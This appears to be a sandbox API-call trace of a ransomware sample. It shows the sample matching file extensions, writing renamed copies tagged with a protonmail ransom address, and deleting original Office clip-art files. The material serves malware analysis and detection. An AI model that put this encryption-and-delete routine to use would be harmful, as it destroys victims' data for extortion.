	[0076.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.223] lstrlenW (lpString=".1cd") returned 4
	[0076.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0076.223] lstrlenW (lpString=".jpg") returned 4
	[0076.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.224] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.224] lstrlenW (lpString="BS01636_.WMF") returned 12
	[0076.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.224] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1874) returned 1
	[0076.224] CloseHandle (hObject=0x394) returned 1
	[0076.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220
	[0076.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.224] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.224] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0076.225] GetLastError () returned 0x0
	[0076.225] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x752, lpOverlapped=0x0) returned 1
	[0076.593] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x760, lpOverlapped=0x0) returned 1
	[0076.797] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.797] WriteFile (in: hFile=0x380, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.797] SetEndOfFile (hFile=0x380) returned 1
	[0077.166] CloseHandle (hObject=0x380) returned 1
	[0083.221] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.221] SetEndOfFile (hFile=0x394) returned 1
	[0083.650] CloseHandle (hObject=0x394) returned 1
	[0083.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1
	[0083.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.650] lstrlenW (lpString=".doc") returned 4
	[0083.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.650] lstrlenW (lpString=".docx") returned 5
	[0083.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.650] lstrlenW (lpString=".pdf") returned 4
	[0083.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.650] lstrlenW (lpString=".xls") returned 4
	[0083.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.651] lstrlenW (lpString=".xlsx") returned 5
	[0083.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.651] lstrlenW (lpString=".ppt") returned 4
	[0083.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString=".zip") returned 4
	[0083.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.651] lstrlenW (lpString=".rar") returned 4
	[0083.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString=".bz2") returned 4
	[0083.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString=".7z") returned 3
	[0083.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString=".dbf") returned 4
	[0083.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString=".1cd") returned 4
	[0083.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString=".jpg") returned 4
	[0083.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.651] lstrlenW (lpString=".doc") returned 4
	[0083.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString=".docx") returned 5
	[0083.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.651] lstrlenW (lpString=".pdf") returned 4
	[0083.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.651] lstrlenW (lpString=".xls") returned 4
	[0083.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.652] lstrlenW (lpString=".xlsx") returned 5
	[0083.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.652] lstrlenW (lpString=".ppt") returned 4
	[0083.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.652] lstrlenW (lpString=".zip") returned 4
	[0083.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.652] lstrlenW (lpString=".rar") returned 4
	[0083.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.652] lstrlenW (lpString=".bz2") returned 4
	[0083.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.652] lstrlenW (lpString=".7z") returned 3
	[0083.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.652] lstrlenW (lpString=".dbf") returned 4
	[0083.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.652] lstrlenW (lpString=".1cd") returned 4
	[0083.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68
	[0083.652] lstrlenW (lpString=".jpg") returned 4
	[0083.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.652] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.652] lstrlenW (lpString="DD01015_.WMF") returned 12
	[0083.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.653] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=2226) returned 1
	[0083.653] CloseHandle (hObject=0x394) returned 1
	[0083.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220
	[0083.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.653] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.653] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.653] GetLastError () returned 0x0
	[0083.653] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x8b2, lpOverlapped=0x0) returned 1
	[0083.655] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0083.656] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.656] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.656] SetEndOfFile (hFile=0x38c) returned 1
	[0083.656] CloseHandle (hObject=0x38c) returned 1
	[0083.656] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.656] SetEndOfFile (hFile=0x394) returned 1
	[0083.657] CloseHandle (hObject=0x394) returned 1
	[0083.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1
	[0083.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.658] lstrlenW (lpString=".doc") returned 4
	[0083.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.658] lstrlenW (lpString=".docx") returned 5
	[0083.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.658] lstrlenW (lpString=".pdf") returned 4
	[0083.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.658] lstrlenW (lpString=".xls") returned 4
	[0083.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.658] lstrlenW (lpString=".xlsx") returned 5
	[0083.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.658] lstrlenW (lpString=".ppt") returned 4
	[0083.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.658] lstrlenW (lpString=".zip") returned 4
	[0083.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.658] lstrlenW (lpString=".rar") returned 4
	[0083.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.658] lstrlenW (lpString=".bz2") returned 4
	[0083.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.658] lstrlenW (lpString=".7z") returned 3
	[0083.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString=".dbf") returned 4
	[0083.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString=".1cd") returned 4
	[0083.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString=".jpg") returned 4
	[0083.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString=".doc") returned 4
	[0083.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString=".docx") returned 5
	[0083.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.659] lstrlenW (lpString=".pdf") returned 4
	[0083.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString=".xls") returned 4
	[0083.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.659] lstrlenW (lpString=".xlsx") returned 5
	[0083.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.659] lstrlenW (lpString=".ppt") returned 4
	[0083.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.659] lstrlenW (lpString=".zip") returned 4
	[0083.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.659] lstrlenW (lpString=".rar") returned 4
	[0083.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString=".bz2") returned 4
	[0083.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.659] lstrlenW (lpString=".7z") returned 3
	[0083.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.660] lstrlenW (lpString=".dbf") returned 4
	[0083.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.660] lstrlenW (lpString=".1cd") returned 4
	[0083.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68
	[0083.660] lstrlenW (lpString=".jpg") returned 4
	[0083.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.660] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0083.660] lstrlenW (lpString="DD01039_.WMF") returned 12
	[0083.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.660] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=14820) returned 1
	[0083.660] CloseHandle (hObject=0x394) returned 1
	[0083.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220
	[0083.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.661] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.661] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.661] GetLastError () returned 0x0
	[0083.661] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x39e4, lpOverlapped=0x0) returned 1
	[0083.663] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x39f0, lpOverlapped=0x0) returned 1
	[0083.664] ReadFile (in: hFile=0x394, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.664] WriteFile (in: hFile=0x38c, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.664] SetEndOfFile (hFile=0x38c) returned 1
	[0083.664] CloseHandle (hObject=0x38c) returned 1
	[0083.664] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.664] SetEndOfFile (hFile=0x394) returned 1
	[0083.665] CloseHandle (hObject=0x394) returned 1
	[0083.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0083.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1
	[0083.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.665] lstrlenW (lpString=".doc") returned 4
	[0083.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.665] lstrlenW (lpString=".docx") returned 5
	[0083.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.666] lstrlenW (lpString=".pdf") returned 4
	[0083.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString=".xls") returned 4
	[0083.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.666] lstrlenW (lpString=".xlsx") returned 5
	[0083.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.666] lstrlenW (lpString=".ppt") returned 4
	[0083.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString=".zip") returned 4
	[0083.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.666] lstrlenW (lpString=".rar") returned 4
	[0083.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString=".bz2") returned 4
	[0083.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString=".7z") returned 3
	[0083.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString=".dbf") returned 4
	[0083.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString=".1cd") returned 4
	[0083.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString=".jpg") returned 4
	[0083.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.666] lstrlenW (lpString=".doc") returned 4
	[0083.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.666] lstrlenW (lpString=".docx") returned 5
	[0083.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.666] lstrlenW (lpString=".pdf") returned 4
	[0083.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.667] lstrlenW (lpString=".xls") returned 4
	[0083.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.667] lstrlenW (lpString=".xlsx") returned 5
	[0083.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.667] lstrlenW (lpString=".ppt") returned 4
	[0083.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.667] lstrlenW (lpString=".zip") returned 4
	[0083.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.667] lstrlenW (lpString=".rar") returned 4
	[0083.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.667] lstrlenW (lpString=".bz2") returned 4
	[0083.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.667] lstrlenW (lpString=".7z") returned 3
	[0083.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68
	[0083.667] lstrlenW (lpString=".dbf") returned 4
	[0083.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
